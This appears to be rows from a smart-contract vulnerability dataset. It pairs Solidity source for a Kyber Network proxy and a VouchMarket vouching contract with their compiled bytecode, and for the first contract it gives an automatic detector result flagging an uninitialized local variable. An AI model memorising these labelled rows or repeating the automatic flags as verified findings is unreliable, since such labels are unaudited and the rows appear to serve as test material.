/// @return amount of actual dest tokens
function tradeWithHint(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId,
bytes hint
)
public
payable
returns(uint)
{
require(src == ETH_TOKEN_ADDRESS || msg.value == 0);
UserBalance memory userBalanceBefore;
userBalanceBefore.srcBalance = getBalance(src, msg.sender);
userBalanceBefore.destBalance = getBalance(dest, destAddress);
if (src == ETH_TOKEN_ADDRESS) {
userBalanceBefore.srcBalance += msg.value;
} else {
require(src.transferFrom(msg.sender, kyberNetworkContract, srcAmount));
}
uint reportedDestAmount = kyberNetworkContract.tradeWithHint.value(msg.value)(
msg.sender,
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId,
hint
);
TradeOutcome memory tradeOutcome = calculateTradeOutcome(
userBalanceBefore.srcBalance,
userBalanceBefore.destBalance,
src,
dest,
destAddress
);
require(reportedDestAmount == tradeOutcome.userDeltaDestAmount);
require(tradeOutcome.userDeltaDestAmount <= maxDestAmount);
require(tradeOutcome.actualRate >= minConversionRate);
ExecuteTrade(msg.sender, src, dest, tradeOutcome.userDeltaSrcAmount, tradeOutcome.userDeltaDestAmount);
return tradeOutcome.userDeltaDestAmount;
}
event KyberNetworkSet(address newNetworkContract, address oldNetworkContract);
function setKyberNetworkContract(KyberNetworkInterface _kyberNetworkContract) public onlyAdmin {
require(_kyberNetworkContract != address(0));
KyberNetworkSet(_kyberNetworkContract, kyberNetworkContract);
kyberNetworkContract = _kyberNetworkContract;
}
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty)
public view
returns(uint expectedRate, uint slippageRate)
{
return kyberNetworkContract.getExpectedRate(src, dest, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return kyberNetworkContract.getUserCapInWei(user);
}
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint) {
return kyberNetworkContract.getUserCapInTokenWei(user, token);
}
function maxGasPrice() public view returns(uint) {
return kyberNetworkContract.maxGasPrice();
}
function enabled() public view returns(bool) {
return kyberNetworkContract.enabled();
}
function info(bytes32 field) public view returns(uint) {
return kyberNetworkContract.info(field);
}
struct TradeOutcome {
uint userDeltaSrcAmount;
uint userDeltaDestAmount;
uint actualRate;
}
function calculateTradeOutcome (uint srcBalanceBefore, uint destBalanceBefore, ERC20 src, ERC20 dest,
address destAddress)
internal returns(TradeOutcome outcome)
{
uint userSrcBalanceAfter;
uint userDestBalanceAfter;
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
//protect from underflow
require(userDestBalanceAfter > destBalanceBefore);
require(srcBalanceBefore > userSrcBalanceAfter);
outcome.userDeltaDestAmount = userDestBalanceAfter - destBalanceBefore;
outcome.userDeltaSrcAmount = srcBalanceBefore - userSrcBalanceAfter;
outcome.actualRate = calcRateFromQty(
outcome.userDeltaSrcAmount,
outcome.userDeltaDestAmount,
getDecimalsSafe(src),
getDecimalsSafe(dest)
);
}
} | 0x6060604052600436106101455763ffffffff60e060020a60003504166301a12fd3811461014a578063238dafe01461016b578063267822471461019257806327a099d8146101c157806329589f61146102275780633bba21dc146102ad5780633ccdbb28146102d25780633de39c11146102fb578063408ee7fe1461030e5780634f61ff8b1461032d5780636432679f146103405780637409e2eb1461035f57806375829def1461038b57806377f50f97146103aa5780637a2a0456146103bd5780637acc8678146103d45780637c423f54146103f3578063809a9e55146104065780638eaaeecf146104465780639870d7fe1461046b578063abd188a81461048a578063ac8a584a146104a9578063b64a097e146104c8578063cb3c28c7146104de578063ce56c45414610510578063d4fac45d14610532578063f851a44014610557575b600080fd5b341561015557600080fd5b610169600160a060020a036004351661056a565b005b341561017657600080fd5b61017e6106da565b604051901515815260200160405180910390f35b341561019d57600080fd5b6101a5610744565b604051600160a060020a03909116815260200160405180910390f35b34156101cc57600080fd5b6101d4610753565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102135780820151838201526020016101fb565b505050509050019250505060405180910390f35b61029b600160a060020a036004803582169160248035926044358316926064358116926084359260a4359260c43516916101049060e43590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107bb95505050505050565b60405190815260200160405180910390f35b34156102b857600080fd5b61029b600160a060020a0360043516602435604435610ad9565b34156102dd57600080fd5b610169600160a060020a036004358116906024359060443516610b1d565b341561030657600080fd5b61029b610c14565b341561031957600080fd5b610169600160a060020a0360043516610c5e565b341561033857600080fd5b6101a5610d5a565b341561034b57600080fd5b61029b600160a060020a0360043516610d69565b341561036a57600080fd5b61029b600160a060020a036004358116906024359060443516606435610de4565b341561039657600080fd5b610169600160a060020a0360043516610e15565b34156103b557600080fd5b610169610eb0565b61029b600160a060020a0360043516602435610f4a565b34156103df57600080fd5b610169600160a060020a0360043516610f8d565b34156103fe57600080fd5b6101d461106f565b341561041157600080fd5b61042e600160a060020a03600435811690602435166044356110d5565b60405191825260208201526040908101905180910390f35b341561045157600080fd5b61029b600160a060020a0360043581169060243516611171565b341561047657600080fd5b610169600160a060020a03600435166111f7565b341561049557600080fd5b610169600160a060020a03600435166112c7565b34156104b457600080fd5b610169600160a060020a036004351661136c565b34156104d357600080fd5b61029b6004356114d8565b61029b600160a060020a03600435811690602435906044358116906064358116906084359060a4359060c4351661152b565b341561051b57600080fd5b610169600435600160a060020a0360243516611552565b341561053d57600080fd5b61029b600160a060020a03600435811690602435166115e5565b341561056257600080fd5b6101a5611696565b6000805433600160a060020a0390811691161461058657600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105ad57600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156106d65781600160a060020a03166005828154811015156105f257fe5b600091825260209091200154600160a060020a031614156106ce5760058054600019810190811061061f57fe5b60009182526020909120015460058054600160a060020a03909216918390811061064557fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556005805490610681906000198301611927565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a16106d6565b6001016105cf565b5050565b600754600090600160a060020a031663238dafe082604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561072457600080fd5b6102c65a03f1151561073557600080fd5b50505060405180519150505b90565b600154600160a060020a031681565b61075b611950565b60048054806020026020016040519081016040528092919081815260200182805480156107b157602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610793575b5050505050905090565b60006107c5611962565b60006107cf611979565b600160a060020a038c1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14806107f8575034155b151561080357600080fd5b61080d8c336115e5565b83526108198a8a6115e5565b6020840152600160a060020a038c1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610851573483818151019052506108e8565b600754600160a060020a03808e16916323b872dd913391168e60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108c257600080fd5b6102c65a03f115156108d357600080fd5b5050506040518051905015156108e857600080fd5b600754600160a060020a031663088322ef34338f8f8f8f8f8f8f8f60006040516020015260405160e060020a63ffffffff8d16028152600160a060020a03808b16600483019081528a82166024840152604483018a90528882166064840152878216608484015260a4830187905260c4830186905290841660e4830152610120610104830190815290916101240183818151815260200191508051906020019080838360005b838110156109a657808201518382015260200161098e565b50505050905090810190601f1680156109d35780820380516001836020036101000a031916815260200191505b509a50505050505050505050506020604051808303818588803b15156109f857600080fd5b6125ee5a03f11515610a0957600080fd5b5050505060405180519250610a289050835184602001518e8d8d6116a5565b905080602001518214610a3a57600080fd5b8781602001511115610a4b57600080fd5b8681604001511015610a5c57600080fd5b600160a060020a0333167f1849bd6a030a1bca28b83437fd3de96f3d27a5d172fa7e9c78e7b61468928a398d8c84518560200151604051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a280602001519c9b505050505050505050505050565b6000610ae3611950565b610b14858573eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee336b204fce5e3e25026110000000886000886107bb565b95945050505050565b60005433600160a060020a03908116911614610b3857600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b9557600080fd5b6102c65a03f11515610ba657600080fd5b505050604051805190501515610bbb57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b600754600090600160a060020a0316633de39c1182604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561072457600080fd5b60005433600160a060020a03908116911614610c7957600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610c9f57600080fd5b60055460329010610caf57600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610d2e8382611927565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600754600160a060020a031681565b600754600090600160a060020a0316636432679f83836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610dc457600080fd5b6102c65a03f11515610dd557600080fd5b50505060405180519392505050565b6000610dee611950565b610e0b868686336b204fce5e3e25026110000000886000886107bb565b9695505050505050565b60005433600160a060020a03908116911614610e3057600080fd5b600160a060020a0381161515610e4557600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610ecb57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b6000610f54611950565b610f8573eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee3486336b204fce5e3e25026110000000886000886107bb565b949350505050565b60005433600160a060020a03908116911614610fa857600080fd5b600160a060020a0381161515610fbd57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b611077611950565b60058054806020026020016040519081016040528092919081815260200182805480156107b157602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610793575050505050905090565b6007546000908190600160a060020a031663809a9e55868686856040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b151561114457600080fd5b6102c65a03f1151561115557600080fd5b5050506040518051906020018051905091509150935093915050565b600754600090600160a060020a0316638eaaeecf8484846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156111d457600080fd5b6102c65a03f115156111e557600080fd5b50505060405180519150505b92915050565b60005433600160a060020a0390811691161461121257600080fd5b600160a060020a03811660009081526002602052604090205460ff161561123857600080fd5b6004546032901061124857600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610d2e8382611927565b60005433600160a060020a039081169116146112e257600080fd5b600160a060020a03811615156112f757600080fd5b6007547f8936e1f096bf0a8c9df862b3d1d5b82774cad78116200175f00b5b7ba3010b02908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160078054600160a060020a031916600160a060020a0392909216919091179055565b6000805433600160a060020a0390811691161461138857600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156113af57600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156106d65781600160a060020a03166004828154811015156113f457fe5b600091825260209091200154600160a060020a031614156114d05760048054600019810190811061142157fe5b60009182526020909120015460048054600160a060020a03909216918390811061144757fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906114839082611927565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a16106d6565b6001016113d1565b600754600090600160a060020a031663b64a097e83836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610dc457600080fd5b6000611535611950565b61154589898989898989886107bb565b9998505050505050505050565b60005433600160a060020a0390811691161461156d57600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561159e57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b6000600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561161d5750600160a060020a038116316111f1565b82600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561167457600080fd5b6102c65a03f1151561168557600080fd5b5050506040518051905090506111f1565b600054600160a060020a031681565b6116ad611979565b6000806116ba86336115e5565b91506116c685856115e5565b90508681116116d457600080fd5b8188116116e057600080fd5b8681036020840152818803835261170e835184602001516117008961171f565b6117098961171f565b611763565b604084015250909695505050505050565b600160a060020a038116600090815260066020526040812054151561174757611747826117fe565b50600160a060020a031660009081526006602052604090205490565b60006b204fce5e3e2502611000000085111561177e57600080fd5b6b204fce5e3e2502611000000084111561179757600080fd5b8282106117d257601283830311156117ae57600080fd5b84838303600a0a02670de0b6b3a764000085028115156117ca57fe5b049050610f85565b601282840311156117e257600080fd5b84828403600a0a670de0b6b3a76400008602028115156117ca57fe5b6000600160a060020a03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561182d5750601261190b565b81600160a060020a03166040517f646563696d616c732829000000000000000000000000000000000000000000008152600a01604051809103902060e060020a90046040518163ffffffff1660e060020a02815260040160006040518083038160008761646e5a03f19250505015156118a85750601261190b565b81600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156118ee57600080fd5b6102c65a03f115156118ff57600080fd5b50505060405180519150505b600160a060020a03909116600090815260066020526040902055565b81548183558181151161194b5760008381526020902061194b91810190830161199b565b505050565b60206040519081016040526000815290565b604080519081016040526000808252602082015290565b6060604051908101604052806000815260200160008152602001600081525090565b61074191905b808211156119b557600081556001016119a1565b50905600a165627a7a723058203611818566719468029278c2cdd0ab3226849041e0fdfef4c56a3c5d8c4c4ba80029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 181 |
0xf77902d93fbae39bb969bb9e7391526de4619a3e | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;
/**
* @title ProofOfHumanity Interface
* @dev See https://github.com/Proof-Of-Humanity/Proof-Of-Humanity.
*/
interface IProofOfHumanity {
function isRegistered(address _submissionID)
external
view
returns (bool registered);
function getSubmissionInfo(address _submissionID)
external
view
returns (
uint8 status,
uint64 submissionTime,
uint64 index,
bool registered,
bool hasVouched,
uint256 numberOfRequests
);
}
contract VouchMarket {
/** @dev To be emitted when a proposal is submitted.
* @param idProposal Unique identifier of the proposal.
* @param user The user that receives the vouch.
* @param amount The ETH sent by the user.
* @param timeLimit Time limit until the user can claim his own funds.
* @param voucher The person who vouch.
*/
event LogProposal(
uint64 indexed idProposal,
address indexed user,
uint256 amount,
uint64 timeLimit,
address voucher
);
/**
* @dev Emitted when a voucher locks a proposal.
* @param idProposal Unique identifier of the proposal.
* @param voucher The person who locks and vouch the proposal.
*/
event LogProposalLocked(uint64 indexed idProposal, address indexed voucher);
/**
* @dev Emitted when a proposal reward is claimed.
* @param idProposal Unique identifier of the proposal.
* @param voucher The person who vouch.
*/
event LogRewardForVouchingClaimed(
uint64 indexed idProposal,
address indexed voucher
);
/**
* @dev Emitted when a vouch is not performed for this proposal.
* @param idProposal Unique identifier of the proposal.
*/
event LogClaimVouchNotPerformed(uint64 indexed idProposal);
/**
* @dev To be emitted when a withdrawal occurs.
* @param idProposal Unique identifier of the proposal.
* @param withdrawer The person who withdraws.
* @param fund The ETH sent to the person who withdraws.
* @param fee The contract fee.
*/
event LogWithdrawn(
uint64 indexed idProposal,
address indexed withdrawer,
uint256 fund,
uint256 fee
);
// Proof of Humanity contract.
IProofOfHumanity private PoH =
IProofOfHumanity(0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb);
/// @dev Divisor to calculate the fee, higher the value, higher the voucher reward
uint256 public feeDivisor;
/// @dev Counter of submitted proposals
uint64 public proposalCounter;
/// @dev Minimum waiting time to lock another proposal
uint64 public cooldownTime;
// Contract maintainer
address private maintainer;
// UBIburner contract
address private UBIburner;
struct Proposal {
address user; //Person who need the vouch
uint64 timeLimit; //If someone locks it and does not claim it, time limit to wait and withdraw your funds
uint256 amount; //Transactions cost + incentive + fee to burn UBI
address voucher; //Person selected to vouch or person who lock the proposal
}
/// @dev Map all the proposals by their IDs. idProposal -> Proposal
mapping(uint64 => Proposal) public proposalMap;
/// @dev Map the last time a user locks a proposal. voucher -> time
mapping(address => uint64) public timeLastLockMap;
constructor(
uint256 _feeDivisor,
uint64 _cooldownTime,
address _UBIburner
) {
maintainer = msg.sender;
feeDivisor = _feeDivisor;
cooldownTime = _cooldownTime;
UBIburner = _UBIburner;
}
modifier onlyMaintainer() {
require(msg.sender == maintainer, "Not maintainer");
_;
}
/**
* @dev Submit proposal.
* @param addedTime Time limit until the user can claim his own funds.
* @param voucher (Optional) The person who give the vouch. Address 0 to denote that anyone can vouch.
*/
function submitProposal(uint64 addedTime, address voucher)
external
payable
{
uint64 idProposal = proposalCounter;
Proposal storage thisProposal = proposalMap[idProposal];
uint256 amount = msg.value;
require(amount > 0, "money?");
uint64 timeLimit = uint64(block.timestamp) + addedTime;
thisProposal.user = msg.sender;
thisProposal.amount = amount;
thisProposal.timeLimit = timeLimit;
if (voucher != address(0)) {
thisProposal.voucher = voucher;
emit LogProposalLocked(idProposal, voucher);
}
proposalCounter++;
emit LogProposal(idProposal, msg.sender, amount, timeLimit, voucher);
}
/**
* @dev Lock the proposal before the vouch happens and only the locker will be able to claim it. Reducing the voucher race.
* @param idProposal The ID of the proposal.
*/
function lockProposal(uint64 idProposal) external {
(, , , , bool hasVouched, ) = PoH.getSubmissionInfo(msg.sender);
Proposal storage thisProposal = proposalMap[idProposal];
require(thisProposal.amount > 0, "Wrong time or done");
require(thisProposal.voucher == address(0), "Locked or assigned");
require(PoH.isRegistered(msg.sender), "Not registered"); //Avoid invalid vouch
require(
block.timestamp > timeLastLockMap[msg.sender] + cooldownTime &&
!hasVouched,
"Can't vouch yet"
); //Avoid multiple locks at the same time and vouchers w/o available vouch
timeLastLockMap[msg.sender] = uint64(block.timestamp);
thisProposal.voucher = msg.sender;
emit LogProposalLocked(idProposal, msg.sender);
}
/**
* @dev Update the proposal to increase the reward and set a new time limit.
* @param idProposal The ID of the proposal.
* @param addedTime Time limit until the user can claim his own funds.
* @param voucher (Optional) The person who vouch. Address 0 to denote that anyone can vouch.
*/
function updateProposal(
uint64 idProposal,
uint64 addedTime,
address voucher
) external payable {
Proposal storage thisProposal = proposalMap[idProposal];
require(thisProposal.user == msg.sender, "Nice try");
require(thisProposal.amount > 0, "Wrong time or done");
address designedVoucher = thisProposal.voucher;
uint64 moment = uint64(block.timestamp);
if (thisProposal.timeLimit < moment)
require(designedVoucher == address(0), "Wait time limit expires");
uint64 timeLimit = moment + addedTime;
uint256 amount = thisProposal.amount;
if (msg.value > 0) {
amount += msg.value;
thisProposal.amount = amount;
}
thisProposal.timeLimit = timeLimit;
if (voucher != designedVoucher) thisProposal.voucher = voucher;
emit LogProposal(idProposal, msg.sender, amount, timeLimit, voucher);
}
/**
* @dev After vouch for a proposal, claim the proposal reward.
* @param idProposal The ID of the proposal.
*/
function claimRewardForVouching(uint64 idProposal) external {
Proposal storage thisProposal = proposalMap[idProposal];
address user = thisProposal.user;
(uint8 status, , , , , ) = PoH.getSubmissionInfo(user);
require(thisProposal.amount > 0, "Wrong time or done");
require(thisProposal.voucher == msg.sender, "You are not the voucher");
require(
status == uint8(2) || PoH.isRegistered(user), //status == 2 is pending registration
"Can't claim yet"
);
emit LogRewardForVouchingClaimed(idProposal, msg.sender);
pay(idProposal);
}
/**
* @dev If the user is not vouched in time limit, user can claim his own funds.
* @param idProposal The ID of the proposal.
*/
function claimVouchNotPerformed(uint64 idProposal) external {
Proposal storage thisProposal = proposalMap[idProposal];
require(thisProposal.user == msg.sender, "Nice try");
require(
((block.timestamp > thisProposal.timeLimit &&
thisProposal.amount > 0) ||
(thisProposal.voucher == address(0))),
"Done or has a voucher and the time limit is not over yet"
);
emit LogClaimVouchNotPerformed(idProposal);
pay(idProposal);
}
/**
* @dev Calculate and withdraw the funds of the proposal.
* @param idProposal The ID of the proposal.
*/
function pay(uint64 idProposal) private {
Proposal storage thisProposal = proposalMap[idProposal];
uint256 fee = thisProposal.amount / feeDivisor;
uint256 feeToMaintainer = fee / 5; //20% of the fee for the maintainer. That is a maximum of 5% of the deposit.
uint256 feeToBurnUBI = fee - feeToMaintainer; //80% of the fee to burn UBIs. That is a maximum of 20% of the deposit.
uint256 fund = thisProposal.amount - fee;
thisProposal.amount = 0;
emit LogWithdrawn(idProposal, msg.sender, fund, fee);
(bool successTx1, ) = maintainer.call{value: feeToMaintainer}("");
require(successTx1, "Tx1 fail");
(bool successTx2, ) = UBIburner.call{value: feeToBurnUBI}("");
require(successTx2, "Tx2 fail");
(bool successTx3, ) = msg.sender.call{value: fund}("");
require(successTx3, "Tx3 fail");
}
/**
* @dev Change Fee Divisor Commission Calculator and the cooldown time to wait after a proposal lock.
* @param _feeDivisor The divisor to calculate the fee, the higher this value is, the lower the fee and the higher the reward for the voucher.
* @param _cooldownTime Minimum waiting time to lock another proposal.
*/
function changeParameters(
uint256 _feeDivisor,
uint64 _cooldownTime,
address _UBIburner
) external onlyMaintainer {
require(_feeDivisor >= 4);
feeDivisor = _feeDivisor;
cooldownTime = _cooldownTime;
UBIburner = _UBIburner;
}
/**
* @dev Change maintainer.
* @param _maintainer The address of the new maintainer
*/
function changeMaintainer(address _maintainer) external onlyMaintainer {
require(_maintainer != address(0));
maintainer = _maintainer;
}
} | 0x6080604052600436106100a75760003560e01c80639dd6fdc8116100645780639dd6fdc814610198578063a12ee7ba146101b8578063a30bcf31146101d8578063b319c6b7146101f8578063b4399be91461021f578063c281b7091461023257600080fd5b80630c0512e9146100ac57806325b4e195146100e95780636ad0bf9a1461010b57806396a2da3d1461014157806397f56a8e146101545780639a36f93214610174575b600080fd5b3480156100b857600080fd5b506002546100cc906001600160401b031681565b6040516001600160401b0390911681526020015b60405180910390f35b3480156100f557600080fd5b506101096101043660046110d0565b6102c3565b005b34801561011757600080fd5b506100cc610126366004611055565b6006602052600090815260409020546001600160401b031681565b61010961014f3660046110ed565b6104fd565b34801561016057600080fd5b5061010961016f3660046110d0565b6106ae565b34801561018057600080fd5b5061018a60015481565b6040519081526020016100e0565b3480156101a457600080fd5b506101096101b33660046110d0565b61096d565b3480156101c457600080fd5b506101096101d3366004611055565b610ab6565b3480156101e457600080fd5b506101096101f3366004611092565b610b36565b34801561020457600080fd5b506002546100cc90600160401b90046001600160401b031681565b61010961022d366004611122565b610be8565b34801561023e57600080fd5b5061028b61024d3660046110d0565b6005602052600090815260409020805460018201546002909201546001600160a01b0380831693600160a01b9093046001600160401b031692911684565b604080516001600160a01b0395861681526001600160401b0390941660208501528301919091529190911660608201526080016100e0565b6001600160401b038116600090815260056020526040808220805483549251639797304360e01b81526001600160a01b039182166004820181905292949293919091169063979730439060240160c06040518083038186803b15801561032857600080fd5b505afa15801561033c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103609190611152565b5050505050905060008360010154116103945760405162461bcd60e51b815260040161038b906111cd565b60405180910390fd5b60028301546001600160a01b031633146103f05760405162461bcd60e51b815260206004820152601760248201527f596f7520617265206e6f742074686520766f7563686572000000000000000000604482015260640161038b565b60ff81166002148061047a575060005460405163c3c5a54760e01b81526001600160a01b0384811660048301529091169063c3c5a5479060240160206040518083038186803b15801561044257600080fd5b505afa158015610456573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047a9190611077565b6104b85760405162461bcd60e51b815260206004820152600f60248201526e10d85b89dd0818db185a5b481e595d608a1b604482015260640161038b565b60405133906001600160401b038616907f3e61ff08c82a63157e9e30ef34014439899ac62e0835a958d4771152643d085390600090a36104f784610dd1565b50505050565b6002546001600160401b03166000818152600560205260409020348061054e5760405162461bcd60e51b81526020600482015260066024820152656d6f6e65793f60d01b604482015260640161038b565b600061055a8642611211565b8354600185018490556001600160e01b0319163367ffffffffffffffff60a01b191617600160a01b6001600160401b0383160217845590506001600160a01b038516156105f6576002830180546001600160a01b0319166001600160a01b0387169081179091556040516001600160401b038616907f1adf7fadfc320d777751d4424a44a0318723be389e60d26fa54b9c964548790890600090a35b600280546001600160401b031690600061060f83611275565b91906101000a8154816001600160401b0302191690836001600160401b0316021790555050336001600160a01b0316846001600160401b03167fc064cb50cf05d938a4a26da1c0c492ef70d47ff0a6977732d0fe22eed9120a0784848960405161069e939291909283526001600160401b039190911660208301526001600160a01b0316604082015260600190565b60405180910390a3505050505050565b60008054604051639797304360e01b81523360048201526001600160a01b039091169063979730439060240160c06040518083038186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611152565b506001600160401b038716600090815260056020526040902060018101549196509450151592506107709150505760405162461bcd60e51b815260040161038b906111cd565b60028101546001600160a01b0316156107c05760405162461bcd60e51b8152602060048201526012602482015271131bd8dad959081bdc88185cdcda59db995960721b604482015260640161038b565b60005460405163c3c5a54760e01b81523360048201526001600160a01b039091169063c3c5a5479060240160206040518083038186803b15801561080357600080fd5b505afa158015610817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083b9190611077565b6108785760405162461bcd60e51b815260206004820152600e60248201526d139bdd081c9959da5cdd195c995960921b604482015260640161038b565b600254336000908152600660205260409020546108a8916001600160401b03600160401b90910481169116611211565b6001600160401b0316421180156108bd575081155b6108fb5760405162461bcd60e51b815260206004820152600f60248201526e10d85b89dd081d9bdd58da081e595d608a1b604482015260640161038b565b33600081815260066020526040808220805467ffffffffffffffff1916426001600160401b03908116919091179091556002850180546001600160a01b031916851790559051908616917f1adf7fadfc320d777751d4424a44a0318723be389e60d26fa54b9c964548790891a3505050565b6001600160401b038116600090815260056020526040902080546001600160a01b031633146109c95760405162461bcd60e51b81526020600482015260086024820152674e6963652074727960c01b604482015260640161038b565b8054600160a01b90046001600160401b0316421180156109ed575060008160010154115b80610a03575060028101546001600160a01b0316155b610a755760405162461bcd60e51b815260206004820152603860248201527f446f6e65206f7220686173206120766f756368657220616e642074686520746960448201527f6d65206c696d6974206973206e6f74206f766572207965740000000000000000606482015260840161038b565b6040516001600160401b038316907f71dcf2ed4f46f6d212662e4ea4de37c08263093155942815151a062906a3b5b790600090a2610ab282610dd1565b5050565b6003546001600160a01b03163314610b015760405162461bcd60e51b815260206004820152600e60248201526d2737ba1036b0b4b73a30b4b732b960911b604482015260640161038b565b6001600160a01b038116610b1457600080fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b03163314610b815760405162461bcd60e51b815260206004820152600e60248201526d2737ba1036b0b4b73a30b4b732b960911b604482015260640161038b565b6004831015610b8f57600080fd5b600192909255600280546001600160401b03909216600160401b026fffffffffffffffff000000000000000019909216919091179055600480546001600160a01b039092166001600160a01b0319909216919091179055565b6001600160401b038316600090815260056020526040902080546001600160a01b03163314610c445760405162461bcd60e51b81526020600482015260086024820152674e6963652074727960c01b604482015260640161038b565b6000816001015411610c685760405162461bcd60e51b815260040161038b906111cd565b600281015481546001600160a01b039091169042906001600160401b03808316600160a01b909204161015610cee576001600160a01b03821615610cee5760405162461bcd60e51b815260206004820152601760248201527f576169742074696d65206c696d69742065787069726573000000000000000000604482015260640161038b565b6000610cfa8683611211565b60018501549091503415610d1c57610d1234826111f9565b6001860181905590505b845467ffffffffffffffff60a01b1916600160a01b6001600160401b038416021785556001600160a01b0384811690871614610d70576002850180546001600160a01b0319166001600160a01b0388161790555b604080518281526001600160401b0384811660208301526001600160a01b03891682840152915133928b16917fc064cb50cf05d938a4a26da1c0c492ef70d47ff0a6977732d0fe22eed9120a07919081900360600190a35050505050505050565b6001600160401b03811660009081526005602052604081206001805490820154919291610dfe919061123c565b90506000610e0d60058361123c565b90506000610e1b828461125e565b90506000838560010154610e2f919061125e565b60006001870155604080518281526020810187905291925033916001600160401b038916917f84b69bea29dd4f13393f2a22870b42fc206d493f8fbec72ff98b7a27d01e87a0910160405180910390a36003546040516000916001600160a01b03169085908381818185875af1925050503d8060008114610ecc576040519150601f19603f3d011682016040523d82523d6000602084013e610ed1565b606091505b5050905080610f0d5760405162461bcd60e51b8152602060048201526008602482015267151e0c4819985a5b60c21b604482015260640161038b565b6004546040516000916001600160a01b03169085908381818185875af1925050503d8060008114610f5a576040519150601f19603f3d011682016040523d82523d6000602084013e610f5f565b606091505b5050905080610f9b5760405162461bcd60e51b8152602060048201526008602482015267151e0c8819985a5b60c21b604482015260640161038b565b604051600090339085908381818185875af1925050503d8060008114610fdd576040519150601f19603f3d011682016040523d82523d6000602084013e610fe2565b606091505b505090508061101e5760405162461bcd60e51b8152602060048201526008602482015267151e0